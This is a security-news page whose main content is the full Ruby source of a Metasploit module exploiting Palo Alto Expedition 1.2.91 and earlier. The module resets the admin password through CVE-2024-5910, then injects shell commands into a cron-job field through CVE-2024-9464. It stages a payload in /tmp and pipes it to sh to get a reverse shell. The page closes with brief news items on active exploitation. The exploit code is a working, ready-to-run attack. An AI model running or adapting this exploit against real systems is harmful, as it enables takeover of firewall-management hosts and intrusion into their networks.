Headline
Palo Alto Expedition 1.2.91 Remote Code Execution
This Metasploit module lets you obtain remote code execution in Palo Alto Expedition versions 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
class MetasploitModule < Msf::Exploit::Remote class XsrfExceptionError < StandardError; end class XsrfExceptionUnreachableError < XsrfExceptionError; end Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)', 'Description' => %q{ Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF Module 'Zach Hanley', # Discovery CVE-2024-9464 and PoC 'Enrique Castillo', # Discovery CVE-2024-9464 'Brian Hysell' # Discovery CVE-2024-5910 ], 'References' => [ [ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'], [ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'], [ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'], ['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'], ['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'], [ 'CVE', '2024-5910'], [ 'CVE', '2024-24809'] ], 'DisclosureDate' => '2024-10-09', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => 'True', 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3), 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Payload' => { # the vulnerability allows the characters " and \ # but the stager in this module does not 'BadChars' => "\x22\x3a\x3b\x5c" # ":;\ }, 'Platform' => %w[unix linux], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => %w[unix linux] # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS] } ) ) register_options( [ OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']), OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']), OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']), OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]), OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]), ] ) end def xsrf_token_value user = @username || datastore['USERNAME'] password = @password || datastore['PASSWORD'] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'), 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'get', 'type' => 'login_users', 'user' => user, 'password' => password } ) raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res data = res.get_json_document raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken'] print_good('Successfully authenticated') csrftoken = data['csrfToken'] raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken vprint_status("Got csrftoken: #{csrftoken}") csrftoken end def check unless datastore['USERNAME'] && datastore['PASSWORD'] unless datastore['RESET_ADMIN_PASSWD'] print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.') return CheckCode::Unknown end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') ) return CheckCode::Unknown('Failed to receive a reply from the server.') unless res if res.code == 403 return CheckCode::Safe end return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") @password = respass @username = 'admin' @reset = true end begin @xsrf_token_value = xsrf_token_value rescue XsrfException::Error return CheckCode::Safe end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'), 'keep_cookies' => true, 'headers' => { 'Csrftoken' => @xsrf_token_value } ) data = res.get_json_document version = data.dig('msg', 'Expedition') if version.nil? return CheckCode::Unknown end print_status('Version retrieved: ' + version) if Rex::Version.new(version) > Rex::Version.new('1.2.91') return CheckCode::Safe end return CheckCode::Appears end def execute_command(cmd, check_res) name = Rex::Text.rand_text_alpha(4..8) vprint_status("Running command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), 'keep_cookies' => true, 'headers' => { 'Csrftoken' => @xsrf_token_value }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'set', 'type' => 'cron_jobs', 'project' => 'pandb', 'name' => name, 'cron_id' => 1, 'recurrence' => 'Daily', 'start_time' => "\";#{cmd} #" } ) if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason? fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") end end def exploit cmd = payload.encoded chunk_size = rand(25..35) vprint_status("Command chunk size = #{chunk_size}") cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join) staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/') if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD']) unless datastore['RESET_ADMIN_PASSWD'] fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..') end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') ) fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") @password = respass @username = 'admin' end begin @xsrf_token_value = xsrf_token_value rescue XsrfException::Error return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.') end print_status('Adding a new cronjob...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), 'keep_cookies' => true, 'headers' => { 'Csrftoken' => @xsrf_token_value }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'add', 'type' => 'new_cronjob', 'project' => 'pandb' } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end data = res.get_json_document fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true # Stage the command to a file redirector = '>' chunk_counter = 0 cmd_chunks.each do |chunk| chunk_counter += 1 vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}") write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}" execute_command(write_chunk, true) redirector = '>>' sleep 1 end # Once we launch the payload, we don't seem to be able to execute another command, # even if we try to background the command, so we need to execute and delete in # the same command. print_good('Command staged; command execution requires a timeout and will take a few seconds.') execute_command("cat #{staging_file} | sh && rm #{staging_file}", false) sleep 3 print_status('Check thy shell.') endend
Related news
The security vendor's Expedition firewall appliance's PAN-OS interface tool has racked up four critical security vulnerabilities under active attack in November, leading tit to advise customers to update immediately or and take them off the Internet.
This Metasploit module lets you obtain remote code execution in Palo Alto Expedition versions 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
A critical security vulnerability in Palo Alto Networks’ Expedition tool is being actively exploited by hackers. CISA urges…
A critical security vulnerability in Palo Alto Networks’ Expedition tool is being actively exploited by hackers. CISA urges…
Palo Alto Networks on Friday issued an informational advisory urging customers to ensure that access to the PAN-OS management interface is secured because of a potential remote code execution vulnerability. "Palo Alto Networks is aware of a claim of a remote code execution vulnerability via the PAN-OS management interface," the company said. "At this time, we do not know the specifics of the
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added a now-patched critical security flaw impacting Palo Alto Networks Expedition to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, tracked as CVE-2024-5910 (CVSS score: 9.3), concerns a case of missing authentication in the Expedition migration tool that
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a critical security flaw impacting Fortinet products to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, tracked as CVE-2024-23113 (CVSS score: 9.8), relates to cases of remote code execution that affects FortiOS, FortiPAM, FortiProxy, and FortiWeb. "A
Palo Alto Networks has released security updates to address five security flaws impacting its products, including a critical bug that could lead to an authentication bypass. Cataloged as CVE-2024-5910 (CVSS score: 9.3), the vulnerability has been described as a case of missing authentication in its Expedition migration tool that could lead to an admin account takeover. "Missing authentication